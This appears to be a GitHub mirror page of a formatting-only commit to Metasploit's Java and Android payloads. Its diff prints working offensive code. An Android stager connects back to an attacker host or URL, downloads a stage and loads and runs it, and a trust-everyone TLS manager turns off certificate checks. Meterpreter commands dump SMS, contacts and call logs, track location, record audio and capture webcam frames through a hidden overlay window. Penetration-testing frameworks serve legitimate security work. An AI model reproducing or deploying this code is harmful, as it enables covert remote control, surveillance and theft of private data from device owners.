1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-04-06 01:16:37 +02:00

format all code with the default intellij java formatter

This commit is contained in:
Tim 2015-05-17 19:05:21 +01:00
parent 3ba13e719a
commit d1e69b2d43
95 changed files with 3306 additions and 3344 deletions
java
androidpayload
javapayload/src
meterpreter
debugloader/src/test/java/com/metasploit/meterpreter
meterpreter/src/main/java/com/metasploit/meterpreter
stdapi/src/main/java/com/metasploit/meterpreter

@ -3,8 +3,7 @@ package com.metasploit.stage;
import android.app.Activity; import android.app.Activity;
import android.os.Bundle; import android.os.Bundle;
public class MainActivity extends Activity public class MainActivity extends Activity {
{
@Override @Override
protected void onCreate(Bundle savedInstanceState) { protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState); super.onCreate(savedInstanceState);

@ -19,13 +19,13 @@ import dalvik.system.DexClassLoader;
public class Payload { public class Payload {
public static final String LHOST = "XXXX127.0.0.1 "; public static final String LHOST = "XXXX127.0.0.1 ";
public static final String LPORT = "YYYY4444 "; public static final String LPORT = "YYYY4444 ";
public static final String URL = "ZZZZ "; public static final String URL = "ZZZZ ";
public static final String TRIALS = "TTTT "; public static final String TRIALS = "TTTT ";
private static final int URI_CHECKSUM_INITJ = 88; private static final int URI_CHECKSUM_INITJ = 88;
private static final String AB = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; private static final String AB = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
private static final Random rnd = new Random(); private static final Random rnd = new Random();
private static String[] parameters; private static String[] parameters;
@ -34,151 +34,151 @@ public class Payload {
startInPath(context.getFilesDir().toString()); startInPath(context.getFilesDir().toString());
} }
public static void startAsync() { public static void startAsync() {
new Thread() { new Thread() {
@Override @Override
public void run() { public void run() {
// Execute the payload // Execute the payload
Payload.main(null); Payload.main(null);
} }
}.start(); }.start();
} }
public static void startInPath(String path) { public static void startInPath(String path) {
parameters = new String[] { path }; parameters = new String[]{path};
startAsync(); startAsync();
} }
public static void main(String[] args) { public static void main(String[] args) {
if (args != null) { if (args != null) {
File currentDir = new File("."); File currentDir = new File(".");
String path = currentDir.getAbsolutePath(); String path = currentDir.getAbsolutePath();
parameters = new String[] { path }; parameters = new String[]{path};
} }
int nTrials = Integer.parseInt(TRIALS.substring(4).trim()); int nTrials = Integer.parseInt(TRIALS.substring(4).trim());
while (!startReverseConn() && nTrials-- > 0) { while (!startReverseConn() && nTrials-- > 0) {
try { try {
Thread.sleep(60000); Thread.sleep(60000);
} catch (InterruptedException e) { } catch (InterruptedException e) {
} }
} }
} }
private static boolean startReverseConn() { private static boolean startReverseConn() {
try { try {
if (URL.substring(4).trim().length() == 0) { if (URL.substring(4).trim().length() == 0) {
reverseTCP(); reverseTCP();
} else { } else {
reverseHTTP(); reverseHTTP();
} }
return true; return true;
} catch (Exception e) { } catch (Exception e) {
return false; return false;
} }
} }
private static String randomString(int len) { private static String randomString(int len) {
StringBuilder sb = new StringBuilder(len); StringBuilder sb = new StringBuilder(len);
for (int i = 0; i < len; i++) { for (int i = 0; i < len; i++) {
sb.append(AB.charAt(rnd.nextInt(AB.length()))); sb.append(AB.charAt(rnd.nextInt(AB.length())));
} }
return sb.toString(); return sb.toString();
} }
private static int checksumText(String s) { private static int checksumText(String s) {
int tmp = 0; int tmp = 0;
for (int i = 0; i < s.length(); i++) { for (int i = 0; i < s.length(); i++) {
tmp += (int) s.charAt(i); tmp += (int) s.charAt(i);
} }
return tmp % 0x100; return tmp % 0x100;
} }
private static void reverseHTTP() throws Exception { private static void reverseHTTP() throws Exception {
int checksum; int checksum;
String URI; String URI;
HttpURLConnection urlConn; HttpURLConnection urlConn;
String lurl = URL.substring(4).trim(); String lurl = URL.substring(4).trim();
while (true) { while (true) {
URI = randomString(4); URI = randomString(4);
checksum = checksumText(URI); checksum = checksumText(URI);
if (checksum == URI_CHECKSUM_INITJ) if (checksum == URI_CHECKSUM_INITJ)
break; break;
} }
String FullURI = "/" + URI; String FullURI = "/" + URI;
URL url = new URL(lurl + FullURI + "_" + randomString(16)); URL url = new URL(lurl + FullURI + "_" + randomString(16));
if (lurl.startsWith("https")) { if (lurl.startsWith("https")) {
urlConn = (HttpsURLConnection) url.openConnection(); urlConn = (HttpsURLConnection) url.openConnection();
Class.forName("com.metasploit.stage.PayloadTrustManager") Class.forName("com.metasploit.stage.PayloadTrustManager")
.getMethod("useFor", new Class[] { URLConnection.class }) .getMethod("useFor", new Class[]{URLConnection.class})
.invoke(null, new Object[] { urlConn }); .invoke(null, new Object[]{urlConn});
} else { } else {
urlConn = (HttpURLConnection) url.openConnection(); urlConn = (HttpURLConnection) url.openConnection();
} }
urlConn.setDoInput(true); urlConn.setDoInput(true);
urlConn.setRequestMethod("GET"); urlConn.setRequestMethod("GET");
urlConn.connect(); urlConn.connect();
DataInputStream in = new DataInputStream(urlConn.getInputStream()); DataInputStream in = new DataInputStream(urlConn.getInputStream());
loadStage(in, null, parameters); loadStage(in, null, parameters);
urlConn.disconnect(); urlConn.disconnect();
} }
private static void reverseTCP() { private static void reverseTCP() {
try { try {
String lhost = LHOST.substring(4).trim(); String lhost = LHOST.substring(4).trim();
String lport = LPORT.substring(4).trim(); String lport = LPORT.substring(4).trim();
Socket msgsock = new Socket(lhost, Integer.parseInt(lport)); Socket msgsock = new Socket(lhost, Integer.parseInt(lport));
DataInputStream in = new DataInputStream(msgsock.getInputStream()); DataInputStream in = new DataInputStream(msgsock.getInputStream());
OutputStream out = new DataOutputStream(msgsock.getOutputStream()); OutputStream out = new DataOutputStream(msgsock.getOutputStream());
loadStage(in, out, parameters); loadStage(in, out, parameters);
} catch (Exception e) { } catch (Exception e) {
e.printStackTrace(); e.printStackTrace();
} }
} }
private static void loadStage(DataInputStream in, OutputStream out, String[] parameters) throws Exception { private static void loadStage(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
String path = parameters[0]; String path = parameters[0];
String filePath = path + File.separatorChar + "payload.jar"; String filePath = path + File.separatorChar + "payload.jar";
String dexPath = path + File.separatorChar + "payload.dex"; String dexPath = path + File.separatorChar + "payload.dex";
// Read the class name // Read the class name
int coreLen = in.readInt(); int coreLen = in.readInt();
byte[] core = new byte[coreLen]; byte[] core = new byte[coreLen];
in.readFully(core); in.readFully(core);
String classFile = new String(core); String classFile = new String(core);
// Read the stage // Read the stage
coreLen = in.readInt(); coreLen = in.readInt();
core = new byte[coreLen]; core = new byte[coreLen];
in.readFully(core); in.readFully(core);
File file = new File(filePath); File file = new File(filePath);
if (!file.exists()) { if (!file.exists()) {
file.createNewFile(); file.createNewFile();
} }
FileOutputStream fop = new FileOutputStream(file); FileOutputStream fop = new FileOutputStream(file);
fop.write(core); fop.write(core);
fop.flush(); fop.flush();
fop.close(); fop.close();
// Load the stage // Load the stage
DexClassLoader classLoader = new DexClassLoader(filePath, path, path, DexClassLoader classLoader = new DexClassLoader(filePath, path, path,
Payload.class.getClassLoader()); Payload.class.getClassLoader());
Class<?> myClass = classLoader.loadClass(classFile); Class<?> myClass = classLoader.loadClass(classFile);
final Object stage = myClass.newInstance(); final Object stage = myClass.newInstance();
file.delete(); file.delete();
new File(dexPath).delete(); new File(dexPath).delete();
myClass.getMethod( myClass.getMethod(
"start", "start",
new Class[] { DataInputStream.class, OutputStream.class, String[].class }).invoke(stage, new Class[]{DataInputStream.class, OutputStream.class, String[].class}).invoke(stage,
new Object[] { in, out, parameters }); new Object[]{in, out, parameters});
} }
} }

@ -41,6 +41,7 @@ import javax.net.ssl.SSLContext;
import javax.net.ssl.SSLSession; import javax.net.ssl.SSLSession;
import javax.net.ssl.TrustManager; import javax.net.ssl.TrustManager;
import javax.net.ssl.X509TrustManager; import javax.net.ssl.X509TrustManager;
import java.security.cert.X509Certificate; import java.security.cert.X509Certificate;
/** /**
@ -51,39 +52,39 @@ import java.security.cert.X509Certificate;
*/ */
public class PayloadTrustManager implements X509TrustManager, HostnameVerifier { public class PayloadTrustManager implements X509TrustManager, HostnameVerifier {
public X509Certificate[] getAcceptedIssuers() { public X509Certificate[] getAcceptedIssuers() {
// no preferred issuers // no preferred issuers
return new X509Certificate[0]; return new X509Certificate[0];
} }
public void checkClientTrusted(java.security.cert.X509Certificate[] certs, public void checkClientTrusted(java.security.cert.X509Certificate[] certs,
String authType) { String authType) {
// trust everyone // trust everyone
} }
public void checkServerTrusted(java.security.cert.X509Certificate[] certs, public void checkServerTrusted(java.security.cert.X509Certificate[] certs,
String authType) { String authType) {
// trust everyone // trust everyone
} }
public boolean verify(String hostname, SSLSession session) { public boolean verify(String hostname, SSLSession session) {
// trust everyone // trust everyone
return true; return true;
} }
/** /**
* Called by the {@link Payload} class to modify the given * Called by the {@link Payload} class to modify the given
* {@link URLConnection} so that it uses this trust manager. * {@link URLConnection} so that it uses this trust manager.
*/ */
public static void useFor(URLConnection uc) throws Exception { public static void useFor(URLConnection uc) throws Exception {
if (uc instanceof HttpsURLConnection) { if (uc instanceof HttpsURLConnection) {
HttpsURLConnection huc = ((HttpsURLConnection) uc); HttpsURLConnection huc = ((HttpsURLConnection) uc);
PayloadTrustManager ptm = new PayloadTrustManager(); PayloadTrustManager ptm = new PayloadTrustManager();
SSLContext sc = SSLContext.getInstance("SSL"); SSLContext sc = SSLContext.getInstance("SSL");
sc.init(null, new TrustManager[] { ptm }, sc.init(null, new TrustManager[]{ptm},
new java.security.SecureRandom()); new java.security.SecureRandom());
huc.setSSLSocketFactory(sc.getSocketFactory()); huc.setSSLSocketFactory(sc.getSocketFactory());
huc.setHostnameVerifier(ptm); huc.setHostnameVerifier(ptm);
} }
} }
} }

@ -39,7 +39,7 @@ public class Meterpreter implements Stage {
Class<?> myClass = classLoader.loadClass("com.metasploit.meterpreter.AndroidMeterpreter"); Class<?> myClass = classLoader.loadClass("com.metasploit.meterpreter.AndroidMeterpreter");
file.delete(); file.delete();
new File(dexPath).delete(); new File(dexPath).delete();
myClass.getConstructor(new Class[] { myClass.getConstructor(new Class[]{
DataInputStream.class, OutputStream.class, String[].class, boolean.class DataInputStream.class, OutputStream.class, String[].class, boolean.class
}).newInstance(in, out, parameters, false); }).newInstance(in, out, parameters, false);
} }

@ -102,7 +102,7 @@ public class AndroidMeterpreter extends Meterpreter {
@Override @Override
public String[] loadExtension(byte[] data) throws Exception { public String[] loadExtension(byte[] data) throws Exception {
getCommandManager().resetNewCommands(); getCommandManager().resetNewCommands();
CommandManager mgr = getCommandManager(); CommandManager mgr = getCommandManager();
Loader.cwd = new File(writeableDir); Loader.cwd = new File(writeableDir);
mgr.registerCommand("channel_create_stdapi_fs_file", channel_create_stdapi_fs_file.class); mgr.registerCommand("channel_create_stdapi_fs_file", channel_create_stdapi_fs_file.class);
mgr.registerCommand("channel_create_stdapi_net_tcp_client", channel_create_stdapi_net_tcp_client.class); mgr.registerCommand("channel_create_stdapi_net_tcp_client", channel_create_stdapi_net_tcp_client.class);

@ -14,7 +14,7 @@ public class check_root_android implements Command {
@Override @Override
public int execute(Meterpreter meterpreter, TLVPacket request, public int execute(Meterpreter meterpreter, TLVPacket request,
TLVPacket response) throws Exception { TLVPacket response) throws Exception {
response.addOverflow(TLV_TYPE_CHECK_ROOT_BOOL, isRooted()); response.addOverflow(TLV_TYPE_CHECK_ROOT_BOOL, isRooted());

@ -32,7 +32,7 @@ public class dump_calllog_android implements Command {
@Override @Override
public int execute(Meterpreter meterpreter, TLVPacket request, public int execute(Meterpreter meterpreter, TLVPacket request,
TLVPacket response) throws Exception { TLVPacket response) throws Exception {
Cursor cur = AndroidMeterpreter.getContext().getContentResolver() Cursor cur = AndroidMeterpreter.getContext().getContentResolver()
.query(CallLog.Calls.CONTENT_URI, null, null, null, null); .query(CallLog.Calls.CONTENT_URI, null, null, null, null);
@ -60,17 +60,17 @@ public class dump_calllog_android implements Command {
int dircode = Integer.parseInt(callType); int dircode = Integer.parseInt(callType);
switch (dircode) { switch (dircode) {
case CallLog.Calls.OUTGOING_TYPE: case CallLog.Calls.OUTGOING_TYPE:
dir = outgoing; dir = outgoing;
break; break;
case CallLog.Calls.INCOMING_TYPE: case CallLog.Calls.INCOMING_TYPE:
dir = incoming; dir = incoming;
break; break;
case CallLog.Calls.MISSED_TYPE: case CallLog.Calls.MISSED_TYPE:
dir = missed; dir = missed;
break; break;
} }
pckt.addOverflow(TLV_TYPE_CALLLOG_TYPE, dir); pckt.addOverflow(TLV_TYPE_CALLLOG_TYPE, dir);
response.addOverflow(TLV_TYPE_CALLLOG_GROUP, pckt); response.addOverflow(TLV_TYPE_CALLLOG_GROUP, pckt);

@ -12,81 +12,81 @@ import com.metasploit.meterpreter.command.Command;
public class dump_contacts_android implements Command { public class dump_contacts_android implements Command {
private static final int TLV_EXTENSIONS = 20000; private static final int TLV_EXTENSIONS = 20000;
private static final int TLV_TYPE_CONTACT_GROUP = TLVPacket.TLV_META_TYPE_GROUP private static final int TLV_TYPE_CONTACT_GROUP = TLVPacket.TLV_META_TYPE_GROUP
| (TLV_EXTENSIONS + 9007); | (TLV_EXTENSIONS + 9007);
private static final int TLV_TYPE_CONTACT_NUMBER = TLVPacket.TLV_META_TYPE_STRING private static final int TLV_TYPE_CONTACT_NUMBER = TLVPacket.TLV_META_TYPE_STRING
| (TLV_EXTENSIONS + 9008); | (TLV_EXTENSIONS + 9008);
private static final int TLV_TYPE_CONTACT_EMAIL = TLVPacket.TLV_META_TYPE_STRING private static final int TLV_TYPE_CONTACT_EMAIL = TLVPacket.TLV_META_TYPE_STRING
| (TLV_EXTENSIONS + 9009); | (TLV_EXTENSIONS + 9009);
private static final int TLV_TYPE_CONTACT_NAME = TLVPacket.TLV_META_TYPE_STRING private static final int TLV_TYPE_CONTACT_NAME = TLVPacket.TLV_META_TYPE_STRING
| (TLV_EXTENSIONS + 9010); | (TLV_EXTENSIONS + 9010);
private static final String classNameContacts = "android.provider.ContactsContract$Contacts"; private static final String classNameContacts = "android.provider.ContactsContract$Contacts";
private static final String classNameData = "android.provider.ContactsContract$Data"; private static final String classNameData = "android.provider.ContactsContract$Data";
private static final String classNameEmail = "android.provider.ContactsContract$CommonDataKinds$Email"; private static final String classNameEmail = "android.provider.ContactsContract$CommonDataKinds$Email";
private static final String contentUri = "CONTENT_URI"; private static final String contentUri = "CONTENT_URI";
private static final String _id = "_id"; private static final String _id = "_id";
private static final String displayName = "display_name"; private static final String displayName = "display_name";
private static final String contactId = "contact_id"; private static final String contactId = "contact_id";
private static final String data1 = "data1"; private static final String data1 = "data1";
@Override @Override
public int execute(Meterpreter meterpreter, TLVPacket request, public int execute(Meterpreter meterpreter, TLVPacket request,
TLVPacket response) throws Exception { TLVPacket response) throws Exception {
ContentResolver cr = AndroidMeterpreter.getContext() ContentResolver cr = AndroidMeterpreter.getContext()
.getContentResolver(); .getContentResolver();
if (Integer.parseInt(Build.VERSION.RELEASE.substring(0, 1)) >= 2) { if (Integer.parseInt(Build.VERSION.RELEASE.substring(0, 1)) >= 2) {
Uri ContactUri = null, PhoneUri = null, EmailUri = null; Uri ContactUri = null, PhoneUri = null, EmailUri = null;
Class<?> c = Class.forName(classNameContacts); Class<?> c = Class.forName(classNameContacts);
ContactUri = (Uri) c.getField(contentUri).get(ContactUri); ContactUri = (Uri) c.getField(contentUri).get(ContactUri);
Cursor cur = cr.query(ContactUri, null, null, null, null); Cursor cur = cr.query(ContactUri, null, null, null, null);
if (cur.getCount() > 0) { if (cur.getCount() > 0) {
while (cur.moveToNext()) { while (cur.moveToNext()) {
TLVPacket pckt = new TLVPacket(); TLVPacket pckt = new TLVPacket();
String id = cur.getString(cur.getColumnIndex(_id)); String id = cur.getString(cur.getColumnIndex(_id));
pckt.addOverflow(TLV_TYPE_CONTACT_NAME, pckt.addOverflow(TLV_TYPE_CONTACT_NAME,
cur.getString(cur.getColumnIndex(displayName))); cur.getString(cur.getColumnIndex(displayName)));
c = Class.forName(classNameData); c = Class.forName(classNameData);
PhoneUri = (Uri) c.getField(contentUri).get(PhoneUri); PhoneUri = (Uri) c.getField(contentUri).get(PhoneUri);
Cursor pCur = cr.query(PhoneUri, null, contactId + " = ?", Cursor pCur = cr.query(PhoneUri, null, contactId + " = ?",
new String[] { id }, null); new String[]{id}, null);
while (pCur.moveToNext()) { while (pCur.moveToNext()) {
pckt.addOverflow(TLV_TYPE_CONTACT_NUMBER, pckt.addOverflow(TLV_TYPE_CONTACT_NUMBER,
pCur.getString(pCur.getColumnIndex(data1))); pCur.getString(pCur.getColumnIndex(data1)));
} }
pCur.close(); pCur.close();
c = Class.forName(classNameEmail); c = Class.forName(classNameEmail);
EmailUri = (Uri) c.getField(contentUri).get(EmailUri); EmailUri = (Uri) c.getField(contentUri).get(EmailUri);
Cursor emailCur = cr.query(EmailUri, null, contactId Cursor emailCur = cr.query(EmailUri, null, contactId
+ " = ?", new String[] { id }, null); + " = ?", new String[]{id}, null);
while (emailCur.moveToNext()) { while (emailCur.moveToNext()) {
pckt.addOverflow(TLV_TYPE_CONTACT_EMAIL, emailCur pckt.addOverflow(TLV_TYPE_CONTACT_EMAIL, emailCur
.getString(emailCur.getColumnIndex(data1))); .getString(emailCur.getColumnIndex(data1)));
} }
emailCur.close(); emailCur.close();
response.addOverflow(TLV_TYPE_CONTACT_GROUP, pckt); response.addOverflow(TLV_TYPE_CONTACT_GROUP, pckt);
} }
} }
cur.close(); cur.close();
} }
return ERROR_SUCCESS; return ERROR_SUCCESS;
} }
} }

@ -33,7 +33,7 @@ public class dump_sms_android implements Command {
@Override @Override
public int execute(Meterpreter meterpreter, TLVPacket request, public int execute(Meterpreter meterpreter, TLVPacket request,
TLVPacket response) throws Exception { TLVPacket response) throws Exception {
Uri uriSMSURI = Uri.parse(sms); Uri uriSMSURI = Uri.parse(sms);
Cursor cur = AndroidMeterpreter.getContext().getContentResolver() Cursor cur = AndroidMeterpreter.getContext().getContentResolver()

@ -19,7 +19,7 @@ public class geolocate_android implements Command {
@Override @Override
public int execute(Meterpreter meterpreter, TLVPacket request, public int execute(Meterpreter meterpreter, TLVPacket request,
TLVPacket response) throws Exception { TLVPacket response) throws Exception {
LocationManager locationManager; LocationManager locationManager;
locationManager = (LocationManager) AndroidMeterpreter.getContext() locationManager = (LocationManager) AndroidMeterpreter.getContext()

@ -4,7 +4,7 @@ import com.metasploit.meterpreter.stdapi.stdapi_fs_file_expand_path;
public class stdapi_fs_file_expand_path_android extends stdapi_fs_file_expand_path { public class stdapi_fs_file_expand_path_android extends stdapi_fs_file_expand_path {
protected String getShellPath() { protected String getShellPath() {
return "sh"; return "sh";
} }
} }

@ -7,13 +7,14 @@ import com.metasploit.meterpreter.TLVPacket;
import com.metasploit.meterpreter.TLVType; import com.metasploit.meterpreter.TLVType;
import com.metasploit.meterpreter.command.Command; import com.metasploit.meterpreter.command.Command;
import com.metasploit.meterpreter.stdapi.stdapi_sys_config_sysinfo; import com.metasploit.meterpreter.stdapi.stdapi_sys_config_sysinfo;
import android.os.Build; import android.os.Build;
public class stdapi_sys_config_sysinfo_android extends public class stdapi_sys_config_sysinfo_android extends
stdapi_sys_config_sysinfo implements Command { stdapi_sys_config_sysinfo implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, public int execute(Meterpreter meterpreter, TLVPacket request,
TLVPacket response) throws Exception { TLVPacket response) throws Exception {
String androidOS = Build.VERSION.RELEASE; String androidOS = Build.VERSION.RELEASE;

@ -11,8 +11,8 @@ import java.io.InputStreamReader;
public class stdapi_sys_process_get_processes_android implements Command { public class stdapi_sys_process_get_processes_android implements Command {
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
Process proc = Runtime.getRuntime().exec(new String[] { Process proc = Runtime.getRuntime().exec(new String[]{
"sh", "-c", "ps 2>/dev/null" "sh", "-c", "ps 2>/dev/null"
}); });
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream())); BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
@ -39,8 +39,8 @@ public class stdapi_sys_process_get_processes_android implements Command {
grp.add(TLVType.TLV_TYPE_USER_NAME, parts[0]); grp.add(TLVType.TLV_TYPE_USER_NAME, parts[0]);
grp.add(TLVType.TLV_TYPE_PROCESS_NAME, parts[parts.length - 1]); grp.add(TLVType.TLV_TYPE_PROCESS_NAME, parts[parts.length - 1]);
response.addOverflow(TLVType.TLV_TYPE_PROCESS_GROUP, grp); response.addOverflow(TLVType.TLV_TYPE_PROCESS_GROUP, grp);
} }
return ERROR_SUCCESS; return ERROR_SUCCESS;
} }
} }

@ -44,15 +44,15 @@ public class webcam_audio_record_android extends webcam_audio_record implements
short bSamples = (AUDIO_CHANNEL_ENCODING == AudioFormat.ENCODING_PCM_16BIT) ? 16 : 8; short bSamples = (AUDIO_CHANNEL_ENCODING == AudioFormat.ENCODING_PCM_16BIT) ? 16 : 8;
short nChannels = (AUDIO_CHANNEL_CONFIG == AudioFormat.CHANNEL_CONFIGURATION_MONO) ? 1 : 2; short nChannels = (AUDIO_CHANNEL_CONFIG == AudioFormat.CHANNEL_CONFIGURATION_MONO) ? 1 : 2;
da.writeBytes("RIFF"); da.writeBytes("RIFF");
da.writeInt(Integer.reverseBytes(36+fullBuffer)); da.writeInt(Integer.reverseBytes(36 + fullBuffer));
da.writeBytes("WAVE"); da.writeBytes("WAVE");
da.writeBytes("fmt "); da.writeBytes("fmt ");
da.writeInt(Integer.reverseBytes(16)); // Sub-chunk size, 16 for PCM da.writeInt(Integer.reverseBytes(16)); // Sub-chunk size, 16 for PCM
da.writeShort(Short.reverseBytes((short) 1)); // AudioFormat, 1 for PCM da.writeShort(Short.reverseBytes((short) 1)); // AudioFormat, 1 for PCM
da.writeShort(Short.reverseBytes(nChannels));// Number of channels, 1 for mono, 2 for stereo da.writeShort(Short.reverseBytes(nChannels));// Number of channels, 1 for mono, 2 for stereo
da.writeInt(Integer.reverseBytes(AUDIO_SAMPLE_RATE)); // Sample rate da.writeInt(Integer.reverseBytes(AUDIO_SAMPLE_RATE)); // Sample rate
da.writeInt(Integer.reverseBytes(AUDIO_SAMPLE_RATE*bSamples*nChannels/8)); // Byte rate, SampleRate*NumberOfChannels*BitsPerSample/8 da.writeInt(Integer.reverseBytes(AUDIO_SAMPLE_RATE * bSamples * nChannels / 8)); // Byte rate, SampleRate*NumberOfChannels*BitsPerSample/8
da.writeShort(Short.reverseBytes((short)(nChannels*bSamples/8))); // Block align, NumberOfChannels*BitsPerSample/8 da.writeShort(Short.reverseBytes((short) (nChannels * bSamples / 8))); // Block align, NumberOfChannels*BitsPerSample/8
da.writeShort(Short.reverseBytes(bSamples)); // Bits per sample da.writeShort(Short.reverseBytes(bSamples)); // Bits per sample
da.writeBytes("data"); da.writeBytes("data");
da.writeInt(Integer.reverseBytes(fullBuffer)); da.writeInt(Integer.reverseBytes(fullBuffer));

@ -21,7 +21,7 @@ public class webcam_get_frame_android extends webcam_audio_record implements Com
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception { public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
int quality = request.getIntValue(TLV_TYPE_WEBCAM_QUALITY); int quality = request.getIntValue(TLV_TYPE_WEBCAM_QUALITY);
if (webcam_start_android.camera == null) { if (webcam_start_android.camera == null) {
return ERROR_FAILURE; return ERROR_FAILURE;
} }

@ -21,7 +21,7 @@ public class webcam_list_android extends webcam_audio_record implements Command
int cameraCount = 0; int cameraCount = 0;
try { try {
Method getNumberOfCamerasMethod = cameraClass.getMethod("getNumberOfCameras"); Method getNumberOfCamerasMethod = cameraClass.getMethod("getNumberOfCameras");
cameraCount = (Integer)getNumberOfCamerasMethod.invoke(null, (Object[])null); cameraCount = (Integer) getNumberOfCamerasMethod.invoke(null, (Object[]) null);
} catch (NoSuchMethodException nsme) { } catch (NoSuchMethodException nsme) {
response.add(TLV_TYPE_WEBCAM_NAME, "Default Camera"); // Pre 2.2 device response.add(TLV_TYPE_WEBCAM_NAME, "Default Camera"); // Pre 2.2 device
return ERROR_SUCCESS; return ERROR_SUCCESS;

@ -73,7 +73,7 @@ public class webcam_start_android extends webcam_audio_record implements Command
} }
}); });
surfaceHolder.setType(SurfaceHolder.SURFACE_TYPE_PUSH_BUFFERS); surfaceHolder.setType(SurfaceHolder.SURFACE_TYPE_PUSH_BUFFERS);
WindowManager windowManager = (WindowManager)context.getSystemService(Context.WINDOW_SERVICE); WindowManager windowManager = (WindowManager) context.getSystemService(Context.WINDOW_SERVICE);
WindowManager.LayoutParams params = new WindowManager.LayoutParams(1, 1, WindowManager.LayoutParams params = new WindowManager.LayoutParams(1, 1,
WindowManager.LayoutParams.TYPE_TOAST, WindowManager.LayoutParams.TYPE_TOAST,
WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE | WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE |

@ -13,92 +13,92 @@ import java.util.Map;
/** /**
* An {@link URLConnection} for an URL that is stored completely in memory. * An {@link URLConnection} for an URL that is stored completely in memory.
* *
* @author mihi * @author mihi
*/ */
public class MemoryBufferURLConnection extends URLConnection { public class MemoryBufferURLConnection extends URLConnection {
private static List files = new ArrayList(); private static List files = new ArrayList();
static { static {
// tweak the cache of already loaded protocol handlers via reflection // tweak the cache of already loaded protocol handlers via reflection
try { try {
Field fld; Field fld;
try { try {
fld = URL.class.getDeclaredField("handlers"); fld = URL.class.getDeclaredField("handlers");
} catch (NoSuchFieldException ex) { } catch (NoSuchFieldException ex) {
try { try {
// GNU Classpath (libgcj) calls this field differently // GNU Classpath (libgcj) calls this field differently
fld = URL.class.getDeclaredField("ph_cache"); fld = URL.class.getDeclaredField("ph_cache");
} catch (NoSuchFieldException ex2) { } catch (NoSuchFieldException ex2) {
// throw the original exception // throw the original exception
throw ex; throw ex;
} }
} }
fld.setAccessible(true); fld.setAccessible(true);
Map handlers = (Map) fld.get(null); Map handlers = (Map) fld.get(null);
// Note that although this is a static initializer, it can happen // Note that although this is a static initializer, it can happen
// that two threads are entering this spot at the same time: When // that two threads are entering this spot at the same time: When
// there is more than one classloader context (e. g. in a servlet // there is more than one classloader context (e. g. in a servlet
// container with Spawn=0) and more than one of them is loading // container with Spawn=0) and more than one of them is loading
// a copy of this class at the same time. Work around this by // a copy of this class at the same time. Work around this by
// letting all of them use the same URL stream handler object. // letting all of them use the same URL stream handler object.
synchronized(handlers) { synchronized (handlers) {
// do not use the "real" class name here as the same class // do not use the "real" class name here as the same class
// loaded in different classloader contexts is not the same // loaded in different classloader contexts is not the same
// one for Java -> ClassCastException // one for Java -> ClassCastException
Object /*MemoryBufferURLStreamHandler*/ handler; Object /*MemoryBufferURLStreamHandler*/ handler;
if (handlers.containsKey("metasploitmembuff")) {
handler = handlers.get("metasploitmembuff");
} else {
handler = new MemoryBufferURLStreamHandler();
handlers.put("metasploitmembuff", handler);
}
// for the same reason, use reflection to obtain the files List
files = (List) handler.getClass().getMethod("getFiles", new Class[0]).invoke(handler, new Object[0]);
}
} catch (Exception ex) {
throw new RuntimeException(ex.toString());
}
}
/** if (handlers.containsKey("metasploitmembuff")) {
* Create a new URL from a byte array and its content type. handler = handlers.get("metasploitmembuff");
*/ } else {
public static URL createURL(byte[] data, String contentType) throws MalformedURLException { handler = new MemoryBufferURLStreamHandler();
synchronized(files) { handlers.put("metasploitmembuff", handler);
files.add(data); }
return new URL("metasploitmembuff", "", (files.size() - 1) + "/" + contentType);
}
}
private final byte[] data; // for the same reason, use reflection to obtain the files List
private final String contentType; files = (List) handler.getClass().getMethod("getFiles", new Class[0]).invoke(handler, new Object[0]);
}
} catch (Exception ex) {
throw new RuntimeException(ex.toString());
}
}
protected MemoryBufferURLConnection(URL url) { /**
super(url); * Create a new URL from a byte array and its content type.
String file = url.getFile(); */
int pos = file.indexOf('/'); public static URL createURL(byte[] data, String contentType) throws MalformedURLException {
synchronized (files) { synchronized (files) {
data = (byte[]) files.get(Integer.parseInt(file.substring(0, pos))); files.add(data);
} return new URL("metasploitmembuff", "", (files.size() - 1) + "/" + contentType);
contentType = file.substring(pos + 1); }
} }
public void connect() throws IOException { private final byte[] data;
} private final String contentType;
public InputStream getInputStream() throws IOException { protected MemoryBufferURLConnection(URL url) {
return new ByteArrayInputStream(data); super(url);
} String file = url.getFile();
int pos = file.indexOf('/');
synchronized (files) {
data = (byte[]) files.get(Integer.parseInt(file.substring(0, pos)));
}
contentType = file.substring(pos + 1);
}
public int getContentLength() { public void connect() throws IOException {
return data.length; }
}
public String getContentType() { public InputStream getInputStream() throws IOException {
return contentType; return new ByteArrayInputStream(data);
} }
public int getContentLength() {
return data.length;
}
public String getContentType() {
return contentType;
}
} }

@ -9,18 +9,18 @@ import java.util.List;
/** /**
* An {@link URLStreamHandler} for a {@link MemoryBufferURLConnection} * An {@link URLStreamHandler} for a {@link MemoryBufferURLConnection}
* *
* @author mihi * @author mihi
*/ */
public class MemoryBufferURLStreamHandler extends URLStreamHandler { public class MemoryBufferURLStreamHandler extends URLStreamHandler {
private List files = new ArrayList(); private List files = new ArrayList();
protected URLConnection openConnection(URL u) throws IOException { protected URLConnection openConnection(URL u) throws IOException {
return new MemoryBufferURLConnection(u); return new MemoryBufferURLConnection(u);
} }
public List getFiles() { public List getFiles() {
return files; return files;
} }
} }

@ -12,14 +12,14 @@ import com.metasploit.meterpreter.MemoryBufferURLConnection;
*/ */
public class Meterpreter implements Stage { public class Meterpreter implements Stage {
